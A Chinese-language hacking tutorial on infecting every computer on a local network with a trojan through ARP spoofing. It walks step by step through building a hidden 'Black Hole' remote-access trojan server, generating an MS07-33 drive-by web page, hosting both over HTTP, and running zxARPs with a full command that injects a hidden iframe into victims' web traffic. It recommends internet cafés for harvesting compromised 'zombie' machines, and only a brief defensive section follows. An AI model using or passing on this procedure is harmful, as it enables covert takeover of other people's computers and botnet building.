前言：傳統掛馬困境與 ARP 欺騙崛起

網頁掛馬最大難點在傳播：小網站易入侵但流量少，收獲「肉雞」有限。如今流行「區域網路 ARP 欺騙掛馬」，只要區網內一台電腦中招，即可向內網傳播含木馬網頁，肉雞數量幾何級增長。

ARP 欺騙掛馬優勢

• 無需入侵網站，只要主機在區網即可。
• 短時間收獲數十上百台肉雞，網吧等百台電腦區網是最佳掛馬場所。
• 區網用戶造訪任何網站皆會中木馬。

實作四步驟（以「黑洞」木馬與 MS07-33 網頁木馬生成器為例）

步驟 1：配置木馬服務端

執行「黑洞」Client.exe，點選「檔案 → 建立 DLL 插入版服務端程式」。勾選「Win NT/2000/XP/2003 下隱藏服務端檔案、登錄檔、進程與服務」，切換至「連線選項」，填入本機公網 IP、預設連接埠 2007、連線密碼（如 123456），點擊「產生」儲存為 muma.exe。

步驟 2：產生網頁木馬

執行「MS07-33 網頁木馬生成器」，「網馬位址」填入 https://192.168.0.2/muma.exe（192.168.0.2 為本機區網 IP），點擊「產生網馬」得 hackll.htm。

步驟 3：啟動本機 HTTP 服務

下載 Baby Web Server，設定「網頁目錄」為網頁木馬所在位置（如 C:\），將 muma.exe 與 hackll.htm 放入 C:\ 根目錄，點擊「Start」啟動 HTTP 服務。

步驟 4：區域網路掛馬

使用 zxARPs 工具（需先安裝 WinPcap）。命令列執行：

zxARPs.exe -idx 0 -ip 192.168.0.1-192.168.0.255 -port 80 -insert "<iframe src='https://192.168.0.2/hackll.htm' width=0 height=0>"

執行後，區網用戶造訪任何網頁，zxARPs 會同步將掛馬碼插入正常網頁，受害者瀏覽器自動載入木馬網頁。

ARP 掛馬防範技巧

zxARPs 基於 ARP 欺騙原理，只要主機能抵禦 ARP 欺騙即可免疫。

• 網管將區網所有主機 IP 與 MAC 綁定。
• 安裝「360 ARP 防火牆」（下載連結），啟用保護即可抵禦攻擊，並可查看攻擊者 IP。

編輯點評

ARP 欺騙可實現掛馬、資訊竊聽、主機網路限制等多種攻擊，是區網頭號大敵。日常防護除本機安全外，更需加強區網層面防禦，才能安心用電腦。